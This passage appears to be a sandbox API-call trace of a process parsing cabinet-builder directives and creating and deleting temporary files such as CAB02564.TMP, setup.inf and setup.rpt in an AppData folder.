(_Str1="ClusterSize", _Str2="UniqueFiles") returned -18 [0101.984] _strcmpi (_Str1="Compress", _Str2="UniqueFiles") returned -18 [0101.985] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="UniqueFiles") returned -18 [0101.985] _strcmpi (_Str1="CompressionType", _Str2="UniqueFiles") returned -18 [0101.985] _strcmpi (_Str1="CompressionLevel", _Str2="UniqueFiles") returned -18 [0101.985] _strcmpi (_Str1="CompressionMemory", _Str2="UniqueFiles") returned -18 [0101.985] _strcmpi (_Str1="DestinationDir", _Str2="UniqueFiles") returned -17 [0101.985] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="UniqueFiles") returned -17 [0101.985] _strcmpi (_Str1="DiskLabelTemplate", _Str2="UniqueFiles") returned -17 [0101.985] _strcmpi (_Str1="DoNotCopyFiles", _Str2="UniqueFiles") returned -17 [0101.985] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="UniqueFiles") returned -15 [0101.985] _strcmpi (_Str1="FolderSizeThreshold", _Str2="UniqueFiles") returned -15 [0101.985] _strcmpi (_Str1="GenerateInf", _Str2="UniqueFiles") returned -14 [0101.985] _strcmpi (_Str1="InfCabinetHeader", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfCommentString", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfDateFormat", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfDiskHeader", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfDiskLineFormat", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfFileHeader", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfFileLineFormat", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfFileName", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfFooter", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfFooter1", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfFooter2", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfFooter3", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfFooter4", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfHeader", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfHeader1", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfHeader2", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfHeader3", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfHeader4", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfHeader5", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfHeader6", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="InfSectionOrder", _Str2="UniqueFiles") returned -12 [0101.985] _strcmpi (_Str1="MaxCabinetSize", _Str2="UniqueFiles") returned -8 [0101.985] _strcmpi (_Str1="MaxDiskFileCount", _Str2="UniqueFiles") returned -8 [0101.985] _strcmpi (_Str1="MaxDiskSize", _Str2="UniqueFiles") returned -8 [0101.985] _strcmpi (_Str1="MaxErrors", _Str2="UniqueFiles") returned -8 [0101.986] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="UniqueFiles") returned -3 [0101.986] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="UniqueFiles") returned -3 [0101.986] _strcmpi (_Str1="ReservePerFolderSize", _Str2="UniqueFiles") returned -3 [0101.986] _strcmpi (_Str1="RptFileName", _Str2="UniqueFiles") returned -3 [0101.986] _strcmpi (_Str1="SourceDir", _Str2="UniqueFiles") returned -2 [0101.986] _strcmpi (_Str1="UniqueFiles", _Str2="UniqueFiles") returned 0 [0101.986] atoi (_Str="1") returned 1 [0101.986] malloc (_Size=0x30) returned 0x32a330 [0101.987] malloc (_Size=0x60) returned 0x32d2c0 [0101.987] malloc (_Size=0x30) returned 0x32a3b0 [0101.987] _strcmpi (_Str1="Cabinet", _Str2="Infattr") returned -6 [0101.987] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infattr") returned -6 [0101.987] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infattr") returned -6 [0101.987] _strcmpi (_Str1="ChecksumWidth", _Str2="Infattr") returned -6 [0101.987] _strcmpi (_Str1="ClusterSize", _Str2="Infattr") returned -6 [0101.987] _strcmpi (_Str1="Compress", _Str2="Infattr") returned -6 [0101.987] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infattr") returned -6 [0101.987] _strcmpi (_Str1="CompressionType", _Str2="Infattr") returned -6 [0101.987] _strcmpi (_Str1="CompressionLevel", _Str2="Infattr") returned -6 [0101.987] _strcmpi (_Str1="CompressionMemory", _Str2="Infattr") returned -6 [0101.987] _strcmpi (_Str1="DestinationDir", _Str2="Infattr") returned -5 [0101.988] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infattr") returned -5 [0101.988] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infattr") returned -5 [0101.988] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infattr") returned -5 [0101.988] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infattr") returned -3 [0101.988] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infattr") returned -3 [0101.988] _strcmpi (_Str1="GenerateInf", _Str2="Infattr") returned -2 [0101.988] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infattr") returned 2 [0101.988] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infattr") returned 2 [0101.988] _strcmpi (_Str1="InfCommentString", _Str2="Infattr") returned 2 [0101.988] _strcmpi (_Str1="InfDateFormat", _Str2="Infattr") returned 3 [0101.988] _strcmpi (_Str1="InfDiskHeader", _Str2="Infattr") returned 3 [0101.988] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infattr") returned 3 [0101.988] _strcmpi (_Str1="InfFileHeader", _Str2="Infattr") returned 5 [0101.988] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infattr") returned 5 [0101.988] _strcmpi (_Str1="InfFileName", _Str2="Infattr") returned 5 [0101.988] _strcmpi (_Str1="InfFooter", _Str2="Infattr") returned 5 [0101.988] _strcmpi (_Str1="InfFooter1", _Str2="Infattr") returned 5 [0101.988] _strcmpi (_Str1="InfFooter2", _Str2="Infattr") returned 5 [0101.988] _strcmpi (_Str1="InfFooter3", _Str2="Infattr") returned 5 [0101.988] _strcmpi (_Str1="InfFooter4", _Str2="Infattr") returned 5 [0101.988] _strcmpi (_Str1="InfHeader", _Str2="Infattr") returned 7 [0101.988] _strcmpi (_Str1="InfHeader1", _Str2="Infattr") returned 7 [0101.988] _strcmpi (_Str1="InfHeader2", _Str2="Infattr") returned 7 [0101.988] _strcmpi (_Str1="InfHeader3", _Str2="Infattr") returned 7 [0101.988] _strcmpi (_Str1="InfHeader4", _Str2="Infattr") returned 7 [0101.988] _strcmpi (_Str1="InfHeader5", _Str2="Infattr") returned 7 [0101.988] _strcmpi (_Str1="InfHeader6", _Str2="Infattr") returned 7 [0101.988] _strcmpi (_Str1="InfSectionOrder", _Str2="Infattr") returned 18 [0101.988] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infattr") returned 4 [0101.988] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Infattr") returned 4 [0101.988] _strcmpi (_Str1="MaxDiskSize", _Str2="Infattr") returned 4 [0101.988] _strcmpi (_Str1="MaxErrors", _Str2="Infattr") returned 4 [0101.988] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infattr") returned 9 [0101.988] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infattr") returned 9 [0101.988] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infattr") returned 9 [0101.988] _strcmpi (_Str1="RptFileName", _Str2="Infattr") returned 9 [0101.988] _strcmpi (_Str1="SourceDir", _Str2="Infattr") returned 10 [0101.988] _strcmpi (_Str1="UniqueFiles", _Str2="Infattr") returned 12 [0101.989] _strcmpi (_Str1="DiskDirectory1", _Str2="Infattr") returned -5 [0101.989] _strcmpi (_Str1="CabinetName1", _Str2="Infattr") returned -6 [0101.989] _vsnprintf (in: _DstBuf=0x1fe3f0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe348 | out: _DstBuf="Infattr") returned 7 [0101.989] _vsnprintf (in: _DstBuf=0x1fe3f0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe348 | out: _DstBuf="Infdate") returned 7 [0101.989] _vsnprintf (in: _DstBuf=0x1fe3f0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe348 | out: _DstBuf="Inftime") returned 7 [0101.989] _close (_FileHandle=3) returned 0 [0101.989] free (_Block=0x32a270) [0101.989] free (_Block=0x32c280) [0101.989] free (_Block=0x32be40) [0101.989] _strcmpi (_Str1="Cabinet", _Str2="InfFileName") returned -6 [0101.989] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileName") returned -6 [0101.989] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileName") returned -6 [0101.989] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileName") returned -6 [0101.989] _strcmpi (_Str1="ClusterSize", _Str2="InfFileName") returned -6 [0101.989] _strcmpi (_Str1="Compress", _Str2="InfFileName") returned -6 [0101.989] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileName") returned -6 [0101.989] _strcmpi (_Str1="CompressionType", _Str2="InfFileName") returned -6 [0101.989] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileName") returned -6 [0101.989] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileName") returned -6 [0101.989] _strcmpi (_Str1="DestinationDir", _Str2="InfFileName") returned -5 [0101.989] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileName") returned -5 [0101.989] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileName") returned -5 [0101.989] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileName") returned -5 [0101.989] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileName") returned -3 [0101.989] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileName") returned -3 [0101.989] _strcmpi (_Str1="GenerateInf", _Str2="InfFileName") returned -2 [0101.989] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileName") returned -3 [0101.989] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileName") returned -3 [0101.989] _strcmpi (_Str1="InfCommentString", _Str2="InfFileName") returned -3 [0101.990] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileName") returned -2 [0101.990] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileName") returned -2 [0101.990] GetCurrentProcessId () returned 0xa04 [0101.990] _vsnprintf (in: _DstBuf=0x1ff3d0, _MaxCount=0xff, _Format="CAB%5.5d.TMP", _ArgList=0x1ff3b8 | out: _DstBuf="CAB02564.TMP") returned 12 [0101.990] _open (_FileName="CAB02564.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\cab02564.tmp"), _OpenFlag=1282) returned 3 [0101.990] _close (_FileHandle=3) returned 0 [0101.990] _unlink (_FileName="CAB02564.TMP") returned 0 [0102.016] _open (_FileName="setup.inf" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\setup.inf"), _OpenFlag=258) returned 3 [0102.020] _close (_FileHandle=3) returned 0 [0102.021] _unlink (_FileName="setup.inf") returned 0 [0102.021] _strcmpi (_Str1="Cabinet", _Str2="RptFileName") returned -15 [0102.021] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="RptFileName") returned -15 [0102.021] _strcmpi (_Str1="CabinetNameTemplate", _Str2="RptFileName") returned -15 [0102.021] _strcmpi (_Str1="ChecksumWidth", _Str2="RptFileName") returned -15 [0102.021] _strcmpi (_Str1="ClusterSize", _Str2="RptFileName") returned -15 [0102.021] _strcmpi (_Str1="Compress", _Str2="RptFileName") returned -15 [0102.021] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="RptFileName") returned -15 [0102.021] _strcmpi (_Str1="CompressionType", _Str2="RptFileName") returned -15 [0102.021] _strcmpi (_Str1="CompressionLevel", _Str2="RptFileName") returned -15 [0102.022] _strcmpi (_Str1="CompressionMemory", _Str2="RptFileName") returned -15 [0102.022] _strcmpi (_Str1="DestinationDir", _Str2="RptFileName") returned -14 [0102.022] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="RptFileName") returned -14 [0102.022] _strcmpi (_Str1="DiskLabelTemplate", _Str2="RptFileName") returned -14 [0102.022] _strcmpi (_Str1="DoNotCopyFiles", _Str2="RptFileName") returned -14 [0102.022] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="RptFileName") returned -12 [0102.022] _strcmpi (_Str1="FolderSizeThreshold", _Str2="RptFileName") returned -12 [0102.022] _strcmpi (_Str1="GenerateInf", _Str2="RptFileName") returned -11 [0102.022] _strcmpi (_Str1="InfCabinetHeader", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfCommentString", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfDateFormat", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfDiskHeader", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfDiskLineFormat", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfFileHeader", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfFileLineFormat", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfFileName", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfFooter", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfFooter1", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfFooter2", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfFooter3", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfFooter4", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfHeader", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfHeader1", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfHeader2", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfHeader3", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfHeader4", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfHeader5", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfHeader6", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="InfSectionOrder", _Str2="RptFileName") returned -9 [0102.022] _strcmpi (_Str1="MaxCabinetSize", _Str2="RptFileName") returned -5 [0102.022] _strcmpi (_Str1="MaxDiskFileCount", _Str2="RptFileName") returned -5 [0102.022] _strcmpi (_Str1="MaxDiskSize", _Str2="RptFileName") returned -5 [0102.022] _strcmpi (_Str1="MaxErrors", _Str2="RptFileName") returned -5 [0102.022] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="RptFileName") returned -11 [0102.022] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="RptFileName") returned -11 [0102.022] _strcmpi (_Str1="ReservePerFolderSize", _Str2="RptFileName") returned -11 [0102.023] _strcmpi (_Str1="RptFileName", _Str2="RptFileName") returned 0 [0102.023] GetCurrentProcessId () returned 0xa04 [0102.023] _vsnprintf (in: _DstBuf=0x1ff3d0, _MaxCount=0xff, _Format="CAB%5.5d.TMP", _ArgList=0x1ff3b8 | out: _DstBuf="CAB02564.TMP") returned 12 [0102.023] _open (_FileName="CAB02564.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\cab02564.tmp"), _OpenFlag=1282) returned 3 [0102.023] _close (_FileHandle=3) returned 0 [0102.023] _unlink (_FileName="CAB02564.TMP") returned 0 [0102.023] _open (_FileName="setup.rpt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\setup.rpt"), _OpenFlag=258) returned 3 [0102.024] _close (_FileHandle=3) returned 0 [0102.024] _unlink (_FileName="setup.rpt") returned 0 [0102.024] malloc (_Size=0x218) returned 0x32be40 [0102.024] _strcmpi (_Str1="Cabinet", _Str2="InfDiskLineFormat") returned -6 [0102.024] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskLineFormat") returned -6 [0102.024] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskLineFormat") returned -6 [0102.024] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskLineFormat") returned -6 [0102.024] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskLineFormat") returned -6 [0102.024] _strcmpi (_Str1="Compress", _Str2="InfDiskLineFormat") returned -6 [0102.024] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskLineFormat") returned -6 [0102.024] _strcmpi (_Str1="CompressionType", _Str2="InfDiskLineFormat") returned -6 [0102.024] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskLineFormat") returned -6 [0102.024] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskLineFormat") returned -6 [0102.024] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskLineFormat") returned -5 [0102.024] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskLineFormat") returned -5 [0102.024] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskLineFormat") returned -5 [0102.024] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskLineFormat") returned -5 [0102.024] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskLineFormat") returned -3 [0102.024] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskLineFormat") returned -3 [0102.024] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskLineFormat") returned -2 [0102.024] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskLineFormat") returned -1 [0102.024] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDiskLineFormat") returned -1 [0102.024] _strcmpi (_Str1="InfCommentString", _Str2="InfDiskLineFormat") returned -1 [0102.024] _strcmpi (_Str1="InfDateFormat", _Str2="InfDiskLineFormat") returned -8 [0102.024] _strcmpi (_Str1="InfDiskHeader", _Str2="InfDiskLineFormat") returned -4 [0102.024] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfDiskLineFormat") returned 0 [0102.024] _strcmpi (_Str1="Cabinet", _Str2="Infdisk#") returned -6 [0102.024] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infdisk#") returned -6 [0102.025] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infdisk#") returned -6 [0102.025] _strcmpi (_Str1="ChecksumWidth", _Str2="Infdisk#") returned -6 [0102.025] _strcmpi (_Str1="ClusterSize", _Str2="Infdisk#") returned -6 [0102.025] _strcmpi (_Str1="Compress", _Str2="Infdisk#") returned -6 [0102.025] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infdisk#") returned -6 [0102.025] _strcmpi (_Str1="CompressionType", _Str2="Infdisk#") returned -6 [0102.025] _strcmpi (_Str1="CompressionLevel", _Str2="Infdisk#") returned -6 [0102.025] _strcmpi (_Str1="CompressionMemory", _Str2="Infdisk#") returned -6 [0102.025] _strcmpi (_Str1="DestinationDir", _Str2="Infdisk#") returned -5 [0102.025] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infdisk#") returned -5 [0102.025] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infdisk#") returned -5 [0102.025] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infdisk#") returned -5 [0102.025] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infdisk#") returned -3 [0102.025] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infdisk#") returned -3 [0102.025] _strcmpi (_Str1="GenerateInf", _Str2="Infdisk#") returned -2 [0102.025] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infdisk#") returned -1 [0102.025] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infdisk#") returned -1 [0102.025] _strcmpi (_Str1="InfCommentString", _Str2="Infdisk#") returned -1 [0102.025] _strcmpi (_Str1="InfDateFormat", _Str2="Infdisk#") returned -8 [0102.025] _strcmpi (_Str1="InfDiskHeader", _Str2="Infdisk#") returned 69 [0102.025] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infdisk#") returned 73 [0102.025] _strcmpi (_Str1="InfFileHeader", _Str2="Infdisk#") returned 2 [0102.025] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infdisk#") returned 2 [0102.025] _strcmpi (_Str1="InfFileName", _Str2="Infdisk#") returned 2 [0102.025] _strcmpi (_Str1="InfFooter", _Str2="Infdisk#") returned 2 [0102.025] _strcmpi (_Str1="InfFooter1", _Str2="Infdisk#") returned 2 [0102.025] _strcmpi (_Str1="InfFooter2", _Str2="Infdisk#") returned 2 [0102.025] _strcmpi (_Str1="InfFooter3", _Str2="Infdisk#") returned 2 [0102.025] _strcmpi (_Str1="InfFooter4", _Str2="Infdisk#") returned 2 [0102.025] _strcmpi (_Str1="InfHeader", _Str2="Infdisk#") returned 4 [0102.025] _strcmpi (_Str1="InfHeader1", _Str2="Infdisk#") returned 4 [0102.025] _strcmpi (_Str1="InfHeader2", _Str2="Infdisk#") returned 4 [0102.025] _strcmpi (_Str1="InfHeader3", _Str2="Infdisk#") returned 4 [0102.025] _strcmpi (_Str1="InfHeader4", _Str2="Infdisk#") returned 4 [0102.025] _strcmpi (_Str1="InfHeader5", _Str2="Infdisk#") returned 4 [0102.025] _strcmpi (_Str1="InfHeader6", _Str2="Infdisk#") returned 4 [0102.025] _strcmpi (_Str1="InfSectionOrder", _Str2="Infdisk#") returned 15 [0102.026] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infdisk#") returned 4 [0102.026] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Infdisk#") returned 4 [0102.026] _strcmpi (_Str1="MaxDiskSize", _Str2="Infdisk#") returned 4 [0102.026] _strcmpi (_Str1="MaxErrors", _Str2="Infdisk#") returned 4 [0102.026] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infdisk#") returned 9 [0102.026] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infdisk#") returned 9 [0102.026] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infdisk#") returned 9 [0102.026] _strcmpi (_Str1="RptFileName", _Str2="Infdisk#") returned 9 [0102.026] _strcmpi (_Str1="SourceDir", _Str2="Infdisk#") returned 10 [0102.026] _strcmpi (_Str1="UniqueFiles", _Str2="Infdisk#") returned 12 [0102.026] _strcmpi (_Str1="DiskDirectory1", _Str2="Infdisk#") returned -5 [0102.026] _strcmpi (_Str1="CabinetName1", _Str2="Infdisk#") returned -6 [0102.026] _vsnprintf (in: _DstBuf=0x1fec90, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1febe8 | out: _DstBuf="Infdisk#") returned 8 [0102.033] _vsnprintf (in: _DstBuf=0x32be58, _MaxCount=0x1ff, _Format="%d", _ArgList=0x1ff218 | out: _DstBuf="1") returned 1 [0102.033] _strcmpi (_Str1="Cabinet", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="ChecksumWidth", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="ClusterSize", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="Compress", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="CompressionType", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="CompressionLevel", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="CompressionMemory", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="DestinationDir", _Str2="Inflabel") returned -5 [0102.033] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Inflabel") returned -5 [0102.033] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Inflabel") returned -5 [0102.033] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Inflabel") returned -5 [0102.033] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Inflabel") returned -3 [0102.033] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Inflabel") returned -3 [0102.033] _strcmpi (_Str1="GenerateInf", _Str2="Inflabel") returned -2 [0102.033] _strcmpi (_Str1="InfCabinetHeader", _Str2="Inflabel") returned -9 [0102.033] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Inflabel") returned -9 [0102.033] _strcmpi (_Str1="InfCommentString", _Str2="Inflabel") returned -9 [0102.033] _strcmpi (_Str1="InfDateFormat", _Str2="Inflabel") returned -8 [0102.033] _strcmpi (_Str1="InfDiskHeader", _Str2="Inflabel") returned -8 [0102.033] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Inflabel") returned -8 [0102.033] _strcmpi (_Str1="InfFileHeader", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="InfFileLineFormat", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="InfFileName", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="InfFooter", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="InfFooter1", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="InfFooter2", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="InfFooter3", _Str2="Inflabel") returned -6 [0102.033] _strcmpi (_Str1="InfFooter4", _Str2="Inflabel") returned -6 [0102.034] _strcmpi (_Str1="InfHeader", _Str2="Inflabel") returned -4 [0102.034] _strcmpi (_Str1="InfHeader1", _Str2="Inflabel") returned -4 [0102.034] _strcmpi (_Str1="InfHeader2", _Str2="Inflabel") returned -4 [0102.034] _strcmpi (_Str1="InfHeader3", _Str2="Inflabel") returned -4 [0102.034] _strcmpi (_Str1="InfHeader4", _Str2="Inflabel") returned -4 [0102.034] _strcmpi (_Str1="InfHeader5", _Str2="Inflabel") returned -4 [0102.034] _strcmpi (_Str1="InfHeader6", _Str2="Inflabel") returned -4 [0102.034] _strcmpi (_Str1="InfSectionOrder", _Str2="Inflabel") returned 7 [0102.034] _strcmpi (_Str1="MaxCabinetSize", _Str2="Inflabel") returned 4 [0102.034] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Inflabel") returned 4 [0102.034] _strcmpi (_Str1="MaxDiskSize", _Str2="Inflabel") returned 4 [0102.034] _strcmpi (_Str1="MaxErrors", _Str2="Inflabel") returned 4 [0102.034] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Inflabel") returned 9 [0102.034] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Inflabel") returned 9 [0102.034] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Inflabel") returned 9 [0102.034] _strcmpi (_Str1="RptFileName", _Str2="Inflabel") returned 9 [0102.034] _strcmpi (_Str1="SourceDir", _Str2="Inflabel") returned 10 [0102.034] _strcmpi (_Str1="UniqueFiles", _Str2="Inflabel") returned 12 [0102.034] _strcmpi (_Str1="DiskDirectory1", _Str2="Inflabel") returned -5 [0102.034] _strcmpi (_Str1="CabinetName1", _Str2="Inflabel") returned -6 [0102.034] _vsnprintf (in: _DstBuf=0x1fec90, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1febe8 | out: _DstBuf="Inflabel") returned 8 [0102.034] _vsnprintf (in: _DstBuf=0x1fec90, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1febe8 | out: _DstBuf="Infcab#") returned 7 [0102.034] _vsnprintf (in: _DstBuf=0x32be58, _MaxCount=0x1ff, _Format="%d", _ArgList=0x1ff218 | out: _DstBuf="1") returned 1 [0102.034] _strcmpi (_Str1="Cabinet", _Str2="Infdisk#") returned -6 [0102.034] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infdisk#") returned -6 [0102.034] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infdisk#") returned -6 [0102.034] _strcmpi (_Str1="ChecksumWidth", _Str2="Infdisk#") returned -6 [0102.034] _strcmpi (_Str1="ClusterSize", _Str2="Infdisk#") returned -6 [0102.034] _strcmpi (_Str1="Compress", _Str2="Infdisk#") returned -6 [0102.034] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infdisk#") returned -6 [0102.034] _strcmpi (_Str1="CompressionType", _Str2="Infdisk#") returned -6 [0102.034] _strcmpi (_Str1="CompressionLevel", _Str2="Infdisk#") returned -6 [0102.034] _strcmpi (_Str1="CompressionMemory", _Str2="Infdisk#") returned -6 [0102.034] _strcmpi (_Str1="DestinationDir", _Str2="Infdisk#") returned -5 [0102.034] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infdisk#") returned -5 [0102.035] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infdisk#") returned -5 [0102.035] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infdisk#") returned -5 [0102.035] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infdisk#") returned -3 [0102.035] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infdisk#") returned -3 